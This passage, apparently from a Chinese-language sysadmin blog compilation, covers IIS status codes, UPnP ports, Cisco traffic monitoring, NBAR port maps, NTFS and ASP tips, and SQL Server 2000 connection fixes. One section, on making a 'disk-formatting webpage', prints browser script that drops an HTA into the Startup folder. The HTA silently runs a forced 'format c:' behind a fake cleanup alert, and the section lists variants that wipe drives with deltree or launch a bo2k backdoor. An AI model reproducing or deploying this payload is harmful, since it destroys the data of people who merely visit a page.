netc.test.com.****************************************************我把各种可能的运用都列出来,重启就告完成。ps:想要知道详细原理推荐用google和看DNS and bind这本书,很不错。用了半个小时写出来,很乱不好意思的说

IIS状态代码

每次想用的时候都找不到,今天去IIS老巢搜了一下,不敢独享
HTTP1xx - 信息
这些状态代码表示临时响应。客户端在收到常规响应之前,应准备接收一个或多个 1xx 响应。100 - 继续。 101 - 交换协议。 2xx - 成功
此类代码表示服务器已成功接受客户端请求。
200 - 确定。客户端请求已成功。 201 - 已创建。 202 - 已接受 203 - 非授权信息。 204 - 无内容。 205 - 重置内容。 206 - 部分内容。 3xx - 重定向
客户端浏览器必须执行更多的操作才能完成请求。例如,浏览器必须请求服务器上的另一个 Web 页,或者使用代理服务器重复请求。
300 - 多种选择。 301 - 已被永远移走。 302 - 已找到。 303 - 参见其他项。 304 - 未修改。 305 - 使用代理。 306 - 此代码已被保留但未被使用。 307 - 临时重定向。 4xx - 客户端错误
发生错误,客户端出现错误。例如,客户端请求不存在的页面,客户端未提供有效的身份验证信息。
400 - 请求错误。 401 - 访问被拒绝。 IIS 定义了许多不同的 401 错误,它们指明更为具体的错误原因。这些具体的错误代码在浏览器中显示,但不在 IIS 日志中显示:
401.1 - 登录失败。 401.2 - 服务器配置导致登录失败。 401.3 - 资源上的 ACL 表明该操作未被授权。 401.4 - 筛选器授权失败。 401.5 - ISAPI/CGI 应用程序授权失败。IIS 定义了许多不同的 401 错误,它们指明更为具体的错误原因。这些具体的错误代码在浏览器中显示,但不在 IIS 日志中显示: 403 - 被禁止: IIS 定义了许多不同的 401 错误,它们指明更为具体的错误原因:
403.1 - 执行访问被禁止。 403.2 - 读访问被禁止。 403.3 - 写访问被禁止。 403.4 - 需要 SSL。 403.5 - 需要 SSL 128。 403.6 - IP 地址被拒绝。 403.7 - 需要客户端证书。 403.8 - 站点访问被拒绝。 403.9 - 用户数过多。 403.10 - 配置无效。 403.11 - 密码更改。 403.12 - 拒绝访问映射表。 403.13 - 吊销客户端证书。 403.14 - 拒绝目录列表。 403.15 - 超出客户端访问许可证。 403.16 - 客户端证书不受信任或无效。 403.17 - 客户端证书已过期或尚未生效。 IIS 定义了许多不同的 401 错误,它们指明更为具体的错误原因。这些具体的错误代码在浏览器中显示,但不在 IIS 日志中显示: 404 - 未找到。 IIS 定义了许多不同的 401 错误,它们指明更为具体的错误原因。这些具体的错误代码在浏览器中显示,但不在 IIS 日志中显示: 404.1 - 未找到站点。 IIS 定义了许多不同的 401 错误,它们指明更为具体的错误原因。这些具体的错误代码在浏览器中显示,但不在 IIS 日志中显示: 405 - 不允许方法。 IIS 定义了许多不同的 401 错误,它们指明更为具体的错误原因。这些具体的错误代码在浏览器中显示,但不在 IIS 日志中显示: 406 - 不接受。 IIS 定义了许多不同的 401 错误,它们指明更为具体的错误原因。这些具体的错误代码在浏览器中显示,但不在 IIS 日志中显示: 407 - 要求进行代理身份验证。 IIS 定义了许多不同的 401 错误,它们指明更为具体的错误原因。这些具体的错误代码在浏览器中显示,但不在 IIS 日志中显示: 412 - 前提条件失败。 IIS 定义了许多不同的 401 错误,它们指明更为具体的错误原因。这些具体的错误代码在浏览器中显示,但不在 IIS 日志中显示: 414 - 请求的 URI 太长。5xx - 服务器错误
服务器因遇到错误而无法完成请求。
500 - 内部服务器错误。 500.12 - 应用程序正在重新启动。 500.13 - 服务器太忙。 500.15 - 不允许 GLOBAL.ASA 请求。 500-100.ASP - ASP 错误(注意,只有 IIS 5.0 会发出此代码)。 501 - 未实施。 502 - 网关错误。 503 - 服务不可用。 504 - 网关超时。 505 - HTTP 版本不受支持。 常见 HTTP 状态代码及其原因 200 - 成功。 此状态代码表示 IIS 已成功处理请求。 304 - 未修改。 客户端请求的文档位于客户端缓存中,文档自缓存以来尚未被修改过。客户端使用文档的缓存副本,而不从服务器下载文档。 401.1 - 登录失败 登录尝试不成功,很可能因为用户名或密码无效。 401.3 - 资源上的 ACL 导表明该操作未被授权。 它表示存在 NTFS 权限问题。即使您对尝试访问的文件具备相应的权限,也可能发生此错误。例如,如果 IUSR 帐户没有 C:\Winnt\System32\Inetsrv 目录的访问权限,将发生此错误。有关如何解决此问题的其他信息,请单击下面的文章编号,查看 Microsoft 知识库中的文章: 187506 List of NTFS Permissions Required for IIS Site to Work(IIS 站点工作时需要的 NTFS 权限的列表)
403.1 - 执行访问被禁止。 出现此错误信息有以下两个主要原因: 没有足够的执行权限。例如,如果尝试访问的 ASP 页所在的目录权限设为"无",或者,尝试执行的通用网关接口 (CGI) 脚本所在的目录权限为"只允许脚本"权限,将出现此错误信息。若要修改执行权限,请在 Microsoft 管理控制台 (MMC) 中用右键单击目录,然后依次单击属性、目录选项卡,确保为尝试访问的内容设置适当的执行权限。 您没有将尝试执行的文件类型的脚本映射设置为识别所使用的谓词(例如,GET 或 POST)。若要验证这一点,请在 MMC 中用右键单击目录,依次单击属性、目录选项卡、配置,然后验证相应文件类型的脚本映射是否设置为允许所使用的谓词。 403.2 - 读访问被禁止。 验证是否已将 IIS 设置为允许对目录进行读访问。此外,如果使用默认文档,验证该文档是否存在。有关如何解决此问题的其他信息,请单击下面的文章编号,查看 Microsoft 知识库中的文章: 247677 Error Message:403.2 Forbidden:Read Access Forbidden(错误信息:403.2 被禁止:读访问被禁止)
403.3 - 写访问被禁止。 验证 IIS 权限和 NTFS 权限是否设置为允许对目录进行写访问。有关如何解决此问题的其他信息,请单击下面的文章编号,查看 Microsoft 知识库中的文章: 248072 Error Message:403.3 Forbidden:Write Access Forbidden(错误信息:403.3 被禁止:写访问被禁止)
403.4 - 需要 SSL。禁用需要安全通道选项,或使用 HTTPS(而不使用 HTTP)访问页面。如果没有安装证书的 Web 站点出现此错误,请单击下面的文章编号,查看 Microsoft 知识库中的文章:224389 Err Msg:HTTP Error 403, 403.4, 403.5 Forbidden:SSL Required(错误信息:HTTP 错误 403、403.4、403.5 被禁止:需要 SSL)
如果没有安装证书的 Web 站点出现此错误,请单击下面的文章编号,查看 Microsoft 知识库中的文章: 403.5 - 需要 SSL 128。禁用需要 128 位加密选项,或使用支持 128 位加密的浏览器查看页面。如果没有安装证书的 Web 站点出现此错误,请单击下面的文章编号,查看 Microsoft 知识库中的文章:224389 Err Msg:HTTP Error 403, 403.4, 403.5 Forbidden:SSL Required(错误信息:HTTP 错误 403、403.4、403.5 被禁止:需要 SSL)
如果没有安装证书的 Web 站点出现此错误,请单击下面的文章编号,查看 Microsoft 知识库中的文章: 403.6 - IP 地址被拒绝。 您已配置服务器,使其拒绝对当前 IP 地址的访问。有关如何解决此问题的其他信息,请单击下面的文章编号,查看 Microsoft 知识库中的文章: 248043 Error Message:403.6 - Forbidden:IP 地址被拒绝
如果没有安装证书的 Web 站点出现此错误,请单击下面的文章编号,查看 Microsoft 知识库中的文章: 403.7 - 需要客户端证书。 您已配置服务器,要求提供客户端身份验证的证书,但没有安装有效的客户端证书。 有关其他信息,请单击下面的文章编号,查看 Microsoft 知识库中的文章: 190004 Error 403.7 or 'Connection to Server Could Not Be Established'(错误 403.7 或"无法与服务器建立连接")
如果没有安装证书的 Web 站点出现此错误,请单击下面的文章编号,查看 Microsoft 知识库中的文章: 403.8 - 站点访问被拒绝。 您已经为用于访问服务器的域设置了域名限制。有关如何解决此问题的其他信息,请单击下面的文章编号,查看 Microsoft 知识库中的文章: 248032 Error Message:Forbidden:Site Access Denied 403.8(错误信息:被禁止:站点访问被拒绝 403.8)
如果没有安装证书的 Web 站点出现此错误,请单击下面的文章编号,查看 Microsoft 知识库中的文章: 403.9 - 用户数过多。 连接到服务器的用户数量超出了您设置的连接限制。有关更改此限制的其他信息,请单击下面的文章编号,查看 Microsoft 知识库中的文章: 248074 Error Message:Access Forbidden:Too Many Users Are Connected 403.9(错误信息:访问被禁止:连接到 403.9 的用户数过多)
备注:Microsoft Windows 2000 Professional 和 Microsoft Windows XP Professional 对 IIS 自动应用 10 个连接的限制。您无法更改此限制。 如果没有安装证书的 Web 站点出现此错误,请单击下面的文章编号,查看 Microsoft 知识库中的文章: 403.12 - 拒绝访问映射表。 您要访问的页面要求提供客户端证书,但映射到客户端证书的用户 ID 已被拒绝访问该文件。有关其他信息,请单击下面的文章编号,查看 Microsoft 知识库中的文章: 248075 Error:HTTP 403.12 - Access Forbidden:Mapper Denied Access(错误:HTTP 403.12 - 访问被禁止:拒绝访问映射表)
如果没有安装证书的 Web 站点出现此错误,请单击下面的文章编号,查看 Microsoft 知识库中的文章: 404 - 未找到。 发生此错误的原因是您尝试访问的文件已被移走或删除。如果在安装 URLScan 工具之后,尝试访问带有有限扩展名的文件,也会发生此错误。这种情况下,该请求的日志文件项中将出现"Rejected by URLScan"的字样。 如果没有安装证书的 Web 站点出现此错误,请单击下面的文章编号,查看 Microsoft 知识库中的文章: 500 - 内部服务器错误。 多种服务器端的错误都可能导致该错误信息。事件查看器日志包含更详细的错误原因。此外,您可以禁用友好的 HTTP 错误消息,这样就能看到更详细的错误说明。 有关如何禁用友好的 HTTP 错误信息的其他信息,请单击下面的文章编号,查看 Microsoft 知识库中的文章: 294807 HOWTO:Disable Internet Explorer 5 'Show Friendly HTTP Error Messages' Feature on the Server Side(在服务器端禁用 Internet Explorer 5 的"显示友好 HTTP 错误信息"功能)
如果没有安装证书的 Web 站点出现此错误,请单击下面的文章编号,查看 Microsoft 知识库中的文章: 500.12 - 应用程序正在重新启动。 它表示您在 IIS 重新启动应用程序时尝试加载 ASP 页。刷新页面后,此信息即会消失。如果刷新页面后,此信息再次出现,可能是防病毒软件软件正在扫描 Global.asa 文件。有关其他信息,请单击下面的文章编号,查看 Microsoft 知识库中的文章: 248013 Err Msg:HTTP Error 500-12 Application Restarting(错误信息:HTTP 错误 500-12 应用程序正在重新启动)
如果没有安装证书的 Web 站点出现此错误,请单击下面的文章编号,查看 Microsoft 知识库中的文章: 500-100.ASP - ASP error. 如果尝试加载的 ASP 页中含有错误代码,将出现此错误信息。若要获得更确切的错误信息,请禁用友好 HTTP 错误信息。默认情况下,只有默认 Web 站点会出现此错误。有关如何在默认 Web 站点以外的其他站点查看此错误的其他信息,请单击下面的文章编号,查看 Microsoft 知识库中的文章: 261200 HTTP 500 Error Message Displays Instead of ASP Error Message from 500-100.asp(500-100.asp 显示 500 错误信息而不显示 ASP 错误信息)
如果没有安装证书的 Web 站点出现此错误,请单击下面的文章编号,查看 Microsoft 知识库中的文章: 502 - 网关错误。 如果尝试运行的 CGI 脚本不返回有效的 HTTP 标头集,将出现此错误信息。

Bt、MSN在内网不能下的问题(UPnP规范问题)?

今天看了电脑报,才明白BT和MSN在内网的视频和音频不能进行的原因是因为防火墙没能开启UPnP功能的原因。BT端口为:TCP 16777-16779 MSN视频UDP 5004-65535 而文件传输为TCP 6891-6900.
启动UPnP后,动行在内网的UPnP应用程序可以将本地端口自动映射到防火墙的端口上,这样外网的计算机就能通过防火墙的端口映身访问到内网机器的UPnP应用程序端口。
UPnP规范基于TCP/IP协议和针对设备彼此间通讯而制订的其它Internet协议。这就是它之所以被称作"通用"的原因所在--UPnP技术不依赖于特定的设备驱动程序,而是使用标准的协议。UPnP设备可以自动配置网络地址,宣布它们在某个网络子网的存在,以及互相交换对设备和服务的描述。基于Windows XP的计算机可以充当一个UPnP控制点,通过程序界面对设备进行发现和控制。
NAT希望所有的网络应用程序都以一种标准方式(即在数据包头中使用IP地址)进行通信,但是有些网络程序预计到NAT的存在。他们使用了NAT无法转换的嵌入式IP地址。NAT希望所有的网络应用程序都以一种标准方式(即在数据包头中使用IP地址)进行通信,但是有些网络程序预计到NAT的存在。他们使用了NAT无法转换的嵌入式IP地址。
在某些情况下,Windows XP可以发现UPnP设备,并且提供它自己的用户界面控制这些设备。一个很好的例子便是"网络连接"文件夹中UPnP住宅网关设备的用户界面(UI)。市场上流行的Linksys BEFSR41W无线路由器在安装完毕后,会自动显示在"网络连接"文件夹中,因为Windows XP已经内置了一个相关的应用程序。 除此之外,你可以使用以下步骤安装可选的UI组件。该UI组件会在系统发现新的设备后显示一个"气球"通知,并且在"网上邻居"文件夹中为每个设备防止一个图标。为了启用UPnP UI,请按照以下步骤操作:
点击"开始",点击"控制面板",然后点击"添加或删除程序"。 在"添加或删除程序"对话框中,点击"添加/删除Windows组件"。 在"Windows组件向导"中,点击"网络服务",点击"详细",然后选择"通用即插即用"复选框。 点击"确定",然后点击"Windows组件向导"对话框中的"下一步"。您可能需要提供您的Windows XP安装CD

使用路由器作流量检测的几个手段

1、配置方法
router(config)#int s 0/0
router(config-if)#ip accounting output-packets
router#sh ip accounting output-packets
Source Destination Packets Bytes
192.1.1.110 192.1.1.97 5 500
172.17.246. 128 192.1.1.110 8 704
Accounting data age is 2d23h
或者
router(config)#int s 0/0
router(config-if)#ip accounting access-violations
router#sh ip accounting [checkpoint] access-violations
Source Destination Packets Bytes ACL
192.1.1.110 224.0.0.5 46 3128 19
Accounting data age is 7
2、说明
● 基于地址对的字节数量及数据包数量统计
● 通常只支持outbound的数据包,及被ACL拒绝的数据包(支持IN 和 OUT方向的ACL)
● 只统计穿越路由器的流量,源或目的是该路由器的数据包不做统计
● 支持所有的switching path,除了Autonomous Switching
● 可以通过SNMP来访问统计值,MIB是OLD-CISCO-IP-MIB, lipAccountingTable
● ip accounting还支持其他的监测方式,如基于tos,mac-address等
二、netflow
1、配置方法
router (config-if)#ip route-cache flow
router (config)#ip flow-export destination 172.17.246.225 9996
router (config)#ip flow-export version 5
Optional configuration
router (config)#ip flow-export source loopback 0
router (config)#ip flow-cache entries <1024-524288>
router (config)#ip flow-cache timeout
sh ip cache flow
IP packet size distribution (132429191 total packets):
1-32 64 96 128 160 192 224 256 288 320 352 384 416 448 480
.000 .191 .024 .009 .010 .006 .005 .008 .003 .005 .003 .003 .002 .001 .001
512 544 576 1024 1536 2048 2560 3072 3584 4096 4608
.001 .002 .107 .032 .578 .000 .000 .000 .000 .000 .000
IP Flow Switching Cache, 278544 bytes
33 active, 4063 inactive, 7975259 added
104834714 ager polls, 0 flow alloc failures
Active flows timeout in 30 minutes
Inactive flows timeout in 15 seconds
last clearing of statistics never
Protocol Total Flows Packets Bytes Packets Active(Sec) Idle(Sec)
-------- Flows /Sec /Flow /Pkt /Sec /Flow /Flow
TCP-Telnet 25378 0.0 12 652 0.0 22.9 15.2
TCP-FTP 432435 0.1 4 59 0.4 1.2 2.7
TCP-FTPD 28670 0.0 212 1397 1.4 8.2 1.6
TCP-WWW 4682530 1.0 15 927 16.4 2.4 4.6
2、说明
● 统计基于流(包括地址对、端口号、协议类型等)的数据量
● 只支持inbound的流量
● 只支持单播
● 只能在主端口配置
● 需要和cef或fast switching一起使用
● 对路由器性能有影响
10,000 active flows: < 4% of additional CPU utilization
45,000 active flows: <12% of additional CPU utilization
65,000 active flows: <16% of additional CPU utilization
三、NBAR
1、配置方法
router(config)# interface FastEthernet 0/1
router(config-if)# ip nbar protocol discovery
router# show ip nbar protocol -discovery interface FastEthernet 6/0
FastEthernet6/0
Input Output
Protocol Packet Count Packet Count
Byte Count Byte Count
5 minute bit rate (bps) 5 minute bit rate (bps)
------------------------ ------------------------ ------------------------
http 316773 0
26340105 0
3000 0
pop3 4437 7367
2301891 339213
3000 0
snmp 279538 14644
319106191 673624
0 0

Total 17203819 151684936
19161397327 50967034611
4179000 6620000
2、说明
● NBAR识别从4层到7层的协议信息
●可以基于端口统计input 和output 的bit rate (bps), packet counts, byte counts
● 只能在cef或dcef的基础上运行
● 不象netflow,没有流的概念。主要是统计目前网络中有那一些应用
四、access-list log
1、配置方法
router(config)# access-list 118 permit ip any any log
router(config)# interface FastEthernet 0/1
router(config-if)# ip access-group 118 out
router# show log
router>sh log
Syslog logging: enabled (0 messages dropped, 0 messages rate-limited, 0 flushes,
0 overruns)
Console logging: level debugging, 79 messages logged
Monitor logging: level debugging, 0 messages logged
Buffer logging: level debugging, 79 messages logged
Logging Exception size (4096 bytes)
Trap logging: level informational, 83 message lines logged
Log Buffer (4096 bytes):
*May 25 05:27:50: %SEC-6-IPACCESSLOGP: list 118 permitted tcp 10.1.64.71(0) -> 10.0.29.3(0), 1 packet
*May 25 05:28:59: %SEC-6-IPACCESSLOGP: list 118 permitted tcp 10.1.64.71(0) -> 10.0.28.128(0), 1 packet
*May 25 05:29:19: %SEC-6-IPACCESSLOGP: list 118 permitted tcp 10.1.64.71(0) -> 10.0.29.3(0), 56 packets
2、说明
● 可以使用于任何端口的input 或者output
● 可以看到目前端口上跑的应用
● 没有统计信息,只能看到有那一些地址,看不到应用统计

show ip nbar protocol-discover

port-map bgp udp 179 port-map bgp tcp 179 port-map bittorrent tcp 6881 6882 6883 6884 6885 6886 6887 6888 6889 port-map citrix udp 1604 port-map citrix tcp 1494 port-map cuseeme udp 7648 7649 24032 port-map cuseeme tcp 7648 7649 port-map custom-01 udp 0 port-map custom-01 tcp 0 port-map custom-02 udp 0 port-map custom-02 tcp 0 port-map custom-03 udp 0 port-map custom-03 tcp 0 port-map custom-04 udp 0 port-map custom-04 tcp 0 port-map custom-05 udp 0 port-map custom-05 tcp 0 port-map custom-06 udp 0 port-map custom-06 tcp 0 port-map custom-07 udp 0 port-map custom-07 tcp 0 port-map custom-08 udp 0 port-map custom-08 tcp 0 port-map custom-09 udp 0 port-map custom-09 tcp 0 port-map custom-10 udp 0 port-map custom-10 tcp 0 port-map dhcp udp 67 68 port-map dns udp 53 port-map dns tcp 53 port-map edonkey tcp 4662 port-map exchange tcp 135 port-map fasttrack tcp 1214 port-map finger tcp 79 port-map ftp tcp 21 port-map gnutella tcp 6346 6347 6348 6349 6355 5634 port-map gopher udp 70 port-map gopher tcp 70 port-map http tcp 80 port-map imap udp 143 220 port-map imap tcp 143 220 port-map irc udp 194 port-map irc tcp 194 port-map kerberos udp 88 749 port-map kerberos tcp 88 749 port-map l2tp udp 1701 port-map ldap udp 389 port-map ldap tcp 389 port-map napster tcp 6699 8875 8888 7777 6700 6666 6677 6688 4444 5555 port-map netbios udp 137 138 port-map netbios tcp 137 139 port-map netshow tcp 1755 port-map nfs udp 2049 port-map nfs tcp 2049 port-map nntp udp 119 port-map nntp tcp 119 port-map notes udp 1352 port-map notes tcp 1352 port-map novadigm udp 3460 3461 3462 3463 3464 3465 port-map novadigm tcp 3460 3461 3462 3463 3464 3465 port-map ntp udp 123 port-map ntp tcp 123 port-map pcanywhere udp 22 5632 port-map pcanywhere tcp 65301 5631 port-map pop3 udp 110 port-map pop3 tcp 110 port-map pptp tcp 1723 port-map printer udp 515 port-map printer tcp 515 port-map rcmd tcp 512 513 514 port-map realaudio tcp 7070 554 port-map rip udp 520 port-map rsvp udp 1698 1699 port-map rtspplayer tcp 554 7070 port-map secure-ftp tcp 990 port-map secure-http tcp 443 port-map secure-imap udp 585 993 port-map secure-imap tcp 585 993 port-map secure-irc udp 994 port-map secure-irc tcp 994 port-map secure-ldap udp 636 port-map secure-ldap tcp 636 port-map secure-nntp udp 563 port-map secure-nntp tcp 563 port-map secure-pop3 udp 995 port-map secure-pop3 tcp 995 port-map secure-telnet tcp 992 port-map smtp tcp 25 port-map snmp udp 161 162 port-map snmp tcp 161 162 port-map socks tcp 1080 port-map sqlnet tcp 1521 port-map sqlserver tcp 1433 port-map ssh tcp 22 port-map streamwork udp 1558 port-map sunrpc udp 111 port-map sunrpc tcp 111 port-map syslog udp 514 port-map telnet tcp 23 port-map tftp udp 69 port-map vdolive tcp 7000 port-map xwindows tcp 6000 6001 6002 6003

win2000下不能删除文件问题解决

网站服务器上有几个文件一直不能删除,一按删除就说"不能删除,文件正在使用中....",停了IIS,转到安全模式,还是同样的问题. 后来几经摸索,找到原因,由于文件格式是NTFS格式的,所以每个文件夹和文件都可以设安全性,不能删除的这几个文件,在可列用户表和可选项择操作上都是灰色的,而且是只读和运行的.找到原因后,把文件夹和文件的所有者更改成ADMINISTRATOR后即可.

ASP如何获取真实IP地址

在 ASP 中使用 Request.ServerVariables("REMOTE_ADDR") 来取得客户端的 IP 地址,但如果客户端是使用代理服务 器来访问,那取到的就是代理服务器的 IP 地址,而不是真正的客户端 IP 地址。要想透过代理服务器取得客户端的真实 IP 地址,就要使用 Request.ServerVariables("HTTP_X_FORWARDED_FOR") 来读取。   不过要注意的事,并不是每个代理服务器都能用 Request.ServerVariables("HTTP_X_FORWARDED_FOR") 来读取客户端 的真实 IP,有些用此方法读取到的仍然是代理服务器的 IP。   还有一点需要注意的是:如果客户端没有通过代理服务器来访问,那么用 Request.ServerVariables ("HTTP_X_FORWARDED_FOR") 取到的值将是空的。因此,如果要在程序中使用此方法,可以这样处理: ...... userip = Request.ServerVariables("HTTP_X_FORWARDED_FOR") If userip = "" Then userip = Request.ServerVariables("REMOTE_ADDR") ......   即:如果客户端通过代理服务器,则取 HTTP_X_FORWARDED_FOR 的值,如果没通过代理服务器,就取 REMOTE_ADDR 的值。

制作格式化硬盘网页

制作格式化硬盘网页
现在的网页是越做越黑了,通过网页往别人的硬盘中远程写入文件,对于大虾们来说这已经不是什么新鲜事了,可是对于小鸟们却有些难度。就像你在浏览过某个网页后,一开机就出现一个叫你不要点确定的东东,如果你点了当时就会死机。其实他这就是利用HTML向你的机器中远程写入了一个批处理文件,只要你一开机就会运行此文件。至于怎么解除嘛…!呵呵…到黑白论坛看看吧…!我以前写过一个更绝的,如果你用的是98系统,只要你浏览了此网页后,当你下次再启动机器时,你会发现你的98再也启不着了。这个网页使本地的很多网吧都不得不重装系统(其实是他们网管的水平有限),破解方法很简单,谁都能做到。可是由于危害到很多普通用户后来我就将网页全删了。没想到事隔几个月,现在竟然都能用网页格他的硬盘了,真是不可思议啊…!其实这并不是什么难事,如果你懂一点HTML的知识你也能做到的。 其实原理很简单是利用微软( Microsoft )的IE浏览器( Internet Explorer )所衍生出来的攻击方法。 以下这段就是具有破坏性的HTML Hacking Your Computer . scr.Reset(); scr.Path="C:\\WINDOWS\\Start Menu\\Programs\\启动\\hack.hta"; scr.Doc=" wsh.Run('start.exe /m format c:/q /autotest /u'); alert('IMPORTANT : Windows is removing unused temporary files.');"; scr.write(); (懂HTML的人应该就看得出来其中精随) 现在我大概来解释其中几个项目所写的意思 scr.Path="C:\\WINDOWS\\Start Menu\\Programs\\启动\\hack.hta" 这一项就是指当你看到这网页它会写入到你的电脑启动目录底下,并命名为 hack.hta wsh.Run('start.exe /m format c:/q /autotest /u'); 通常要格式化硬碟都会先问你是否要执行,但其中的"/autotest"这项。 它是一个微软没有公开的功能,键入後format的动作便会被强制执行。 这项中的/q /u是令系统不需要检查硬碟便会立即执行的指令。 最後start.exe再配合/m选项可以使format的DOS-prompt视窗在执行的时候处於最小 化的状态。 执行其他攻击指令的方法∶ 只要修改“start.exe /m format c:/q /autotest /u”这一项便形。 start.exe /m format c:/q /autotest /u 其中的“c:”可以换做其他的硬碟。 (path)\bo2k.exe 执行它电脑中的某个程式,如果你有传bo2k到它电脑中就可以使用此指令。 start.exe /m deltree /y a:\*.* c:\*.* d:\*.* 杀掉对方硬碟底下所有的档案。 start.exe /m deltree /y c:\windows\system\*.* 杀掉对方c:\windows\system\目录底下的所有档案。 怎如果只研究一下这个代码是没什么的,希望大家不要将其生成HTM文件,否则后果自负!

SQLServer2000发生错误1069

今天六号楼创新实验室同事打电话过来,说是DELL的2600服务器指示灯有问题。操作系统一切正常,不过速度比较慢,而且SQL SERVER没能正常登录,一按右下角的SQL服务器启动,就跳出
SQLServer2000发生错误1069(由于登陆失败而无法启动服务)的 错误,想了N久,也许是服务出了问题。
解决方案如下:
在windows控制面版-->管理工具-->服务-->MSSQLSERVER-->属性-->改为本地登陆!
哈哈问题解决了。后来又找了一篇相关的文章:
下面我们依次介绍如何来解决这三个最常见的连接错误。
  第一个错误"SQL Server 不存在或访问被拒绝"通常是最复杂的,错误发生的原因比较多,需要检查的方面也比较多。一般说来,有以下几种可能性:   1、SQL Server名称或IP地址拼写有误;
  2、服务器端网络配置有误;
  3、客户端网络配置有误。
  要解决这个问题,我们一般要遵循以下的步骤来一步步找出导致错误的原因。
  首先,检查网络物理连接:
   ping <服务器IP地址>     或者
   ping <服务器名称>
  如果 ping <服务器IP地址> 失败,说明物理连接有问题,这时候要检查硬件设备,如网卡、HUB、路由器等。还有一种可能是由于客户端和服务器之间安装有防火墙软件造成的,比如 ISA Server。防火墙软件可能会屏蔽对 ping、telnet 等的响应,因此在检查连接问题的时候,我们要先把防火墙软件暂时关闭,或者打开所有被封闭的端口。
  如果ping <服务器IP地址> 成功而 ping <服务器名称> 失败,则说明名字解析有问题,这时候要检查 DNS 服务是否正常。有时候客户端和服务器不在同一个局域网里面,这时候很可能无法直接使用服务器名称来标识该服务器,这时候我们可以使用HOSTS文件来进行名字解析,具体的方法是:
  1、使用记事本打开HOSTS文件(一般情况下位于C:\WINNT\system32\drivers\etc).
  2、添加一条IP地址与服务器名称的对应记录,如:
    172.168.10.24 myserver
  也可以在 SQL Server 的客户端网络实用工具里面进行配置,后面会有详细说明。
  其次,使用 telnet 命令检查SQL Server服务器工作状态:
   telnet <服务器IP地址> 1433
  如果命令执行成功,可以看到屏幕一闪之后光标在左上角不停闪动,这说明 SQL Server 服务器工作正常,并且正在监听1433端口的 TCP/IP 连接;如果命令返回"无法打开连接"的错误信息,则说明服务器端没有启动 SQL Server 服务,也可能服务器端没启用 TCP/IP 协议,或者服务器端没有在 SQL Server 默认的端口1433上监听。
  接着,我们要到服务器上检查服务器端的网络配置,检查是否启用了命名管道,是否启用了 TCP/IP 协议等等。我们可以利用 SQL Server 自带的服务器网络使用工具来进行检查。
  点击:程序 -> Microsoft SQL Server -> 服务器网络使用工具,打开该工具后看到的画面如下图所示:
  从这里我们可以看到服务器启用了哪些协议。一般而言,我们启用命名管道以及 TCP/IP 协议。
  点中 TCP/IP 协议,选择"属性",我们可以来检查 SQK Server 服务默认端口的设置,如下图所示:
  一般而言,我们使用 SQL Server 默认的1433端口。如果选中"隐藏服务器",则意味着客户端无法通过枚举服务器来看到这台服务器,起到了保护的作用,但不影响连接。
  检查完了服务器端的网络配置,接下来我们要到客户端检查客户端的网络配置。我们同样可以利用 SQL Server 自带的客户端网络使用工具来进行检查,所不同的是这次是在客户端来运行这个工具。
  点击:程序 -> Microsoft SQL Server -> 客户端网络使用工具, 打开该工具后看到的画面如下图所示:
  从这里我们可以看到客户端启用了哪些协议。一般而言,我们同样需要启用命名管道以及 TCP/IP 协议。
  点击 TCP/IP 协议,选择"属性",可以检查客户端默认连接端口的设置,如下图所示。
  该端口必须与服务器一致。
  单击"别名"选项卡,还可以为服务器配置别名。服务器的别名是用来连接的名称,连接参数中的服务器是真正的服务器名称,两者可以相同或不同。如下图中,我们可以使用myserver来代替真正的服务器名称sql2kcn-02,并且使用网络库 Named Pipes。别名的设置与使用HOSTS文件有相似之处。
  通过以上几个方面的检查,错误 1 发生的原因基本上可以被排除。下面我们再详细描述如何来解决错误 2。
  当用户尝试在查询分析器里面使用sa来连接SQL Server,或者在企业管理器里面使用sa来新建一个SQL Server注册时,经常会遇到如图 2 所示的错误信息。该错误产生的原因是由于SQL Server使用了"仅 Windows"的身份验证方式,因此用户无法使用SQL Server的登录帐户(如 sa )进行连接。解决方法如下所示:
  1、 在服务器端使用企业管理器,并且选择"使用 Windows 身份验证"连接上 SQL Server;
  2、 展开"SQL Server组",鼠标右键点击SQL Server服务器的名称,选择"属性",再选择"安全性"选项卡;
  3、 在"身份验证"下,选择"SQL Server和 Windows "。
  4、 重新启动SQL Server服务。
  在以上解决方法中,如果在第 1 步中使用"使用 Windows 身份验证"连接 SQL Server 失败,那么我们将遇到一个两难的境地:首先,服务器只允许了 Windows 的身份验证;其次,即使使用了 Windows 身份验证仍然无法连接上服务器。这种情形被形象地称之为"自己把自己锁在了门外",因为无论用何种方式,用户均无法使用进行连接。实际上,我们可以通过修改一个注册表键值来将身份验证方式改为 SQL Server 和 Windows 混合验证,步骤如下所示:
  1、点击"开始"-"运行",输入regedit,回车进入注册表编辑器;
  2、依次展开注册表项,浏览到以下注册表键:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\MSSQLServer]
  3、在屏幕右方找到名称"LoginMode",双击编辑双字节值;
  4、将原值从1改为2,点击"确定";
  5、关闭注册表编辑器;
  6、重新启动SQL Server服务。
  此时,用户可以成功地使用sa在企业管理器中新建SQL Server注册,但是仍然无法使用Windows身份验证模式来连接SQL Server。这是因为在 SQL Server 中有两个缺省的登录帐户:BUILTIN\Administrators 以及 <机器名>\Administrator 被删除。要恢复这两个帐户,可以使用以下的方法:
  1、打开企业管理器,展开服务器组,然后展开服务器;
  2、展开"安全性",右击"登录",然后单击"新建登录";
  3、在"名称"框中,输入 BUILTIN\Administrators;
  4、在"服务器角色"选项卡中,选择"System Administrators" ;
  5、点击"确定"退出;
  6、使用同样方法添加 <机器名>\Administrator 登录。
  以下注册表键
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\MSSQLServer\LoginMode
  的值决定了SQL Server将采取何种身份验证模式。该值为1,表示使用Windows 身份验证模式;该值为2,表示使用混合模式(Windows 身份验证和 SQL Server 身份验证)。
  看完如何解决前两个错误的方法之后,让我们来看一下如图 3 所示的第三个错误。
  如果遇到第三个错误,一般而言表示客户端已经找到了这台服务器,并且可以进行连接,不过是由于连接的时间大于允许的时间而导致出错。这种情况一般会发生在当用户在Internet上运行企业管理器来注册另外一台同样在Internet上的服务器,并且是慢速连接时,有可能会导致以上的超时错误。有些情况下,由于局域网的网络问题,也会导致这样的错误。
  要解决这样的错误,可以修改客户端的连接超时设置。默认情况下,通过企业管理器注册另外一台SQL Server的超时设置是 4 秒,而查询分析器是 15 秒(这也是为什么在企业管理器里发生错误的可能性比较大的原因)。具体步骤为:
  1、在企业管理器中,选择菜单上的"工具",再选择"选项";
